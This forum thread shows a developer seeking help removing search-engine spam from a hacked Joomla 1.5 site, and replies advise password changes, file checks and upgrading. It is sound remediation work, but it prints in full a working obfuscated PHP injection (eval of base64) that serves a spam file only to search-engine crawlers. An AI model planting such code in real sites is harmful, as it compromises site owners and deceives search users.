I have a site that has got viagra and other spam stuff all through their site on google.

Hi,
On my site here http://simmental.com.au you will notice that if you google search it, there are spam words through out the site.
How do I clean this site up and get rid of the garbage?
Thank you
LVL 11
Amanda WatsonWeb DeveloperAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

GaryCommented:
Is this a CMS?
Can you give some example pages where the spam is?

Obviously someone has hacked the site and you need to check all your files for funny things like base64 encoded code
Change all your passwords - ftp etc - immediately
0
Amanda WatsonWeb DeveloperAuthor Commented:
Thanks,  changing passwords etc is obvious now!, but how can I fix whats is there.....do all files have to be tested?
0
GaryCommented:
Yes, unless you have a backup you can upload.
0
Top Threats of Q1 & How to Defend Against Them

WEBINAR: Join WatchGuard CTO and our Threat Research Team on Aug. 2nd to hear the findings from our Q1 Internet Security Report! Learn more about the top threats detected in the first quarter and how you can defend your business against them!

Amanda WatsonWeb DeveloperAuthor Commented:
I found this on the index page
<?php @eval(base64_decode("aWYgKEBwcmVnX21hdGNoICgiL1tHZ11bT29dW09vXVtHZ11bTGxdW0VlXXxbTGxdW0lpXVtWdl1bRWVdfFtNbV1bU3NdW05uXXxbWXldW0FhXVtIaF1bT29dW09vXXxbQWFdW1NzXVtLa118W0FhXVtPb11bTGxdfFtCYl1bT29dW1R0XS8iLCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSkpIHsKCWlmIChAaXNfZmlsZSgiLi9pbWFnZXMvc3Rvcmllcy9saXN0LnR4dCIpKSB7CgkJQGluY2x1ZGUgIi4vaW1hZ2VzL3N0b3JpZXMvbGlzdC50eHQiOwoJfQp9Cg==")); ?>


Could that be the only area or cultprit?
A
0
GaryCommented:
Usually its one or 2 files, if you remove it is it fixed
0
Lucas BishopClick TrackerCommented:
In viewing the source code of your site, I see you're using Joomla 1.5 as your CMS.  The version you are using reached end of life in Sep 2012. See the announcement here: http://docs.joomla.org/Joomla_1.5_version_history

You can remove any malicious scripts you find in the source code of your site, but odds are, there are a variety of security holes in your CMS. Hence, if you remove the malicious files today, they'll probably be inserted again shortly thereafter.  You can search google for "joomla 1.5 exploit" and find a slew of potential culprits that can effect your current setup.

Finally, I decoded the script you posted above and the following file is being referenced in it, from your server... I'd delete this: http://simmental.com.au/images/stories/list.txt
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
Amanda WatsonWeb DeveloperAuthor Commented:
Well advised
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Internet Marketing

From novice to tech pro — start learning today.

Question has a verified solution.

Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.

Have a better answer? Share it in a comment.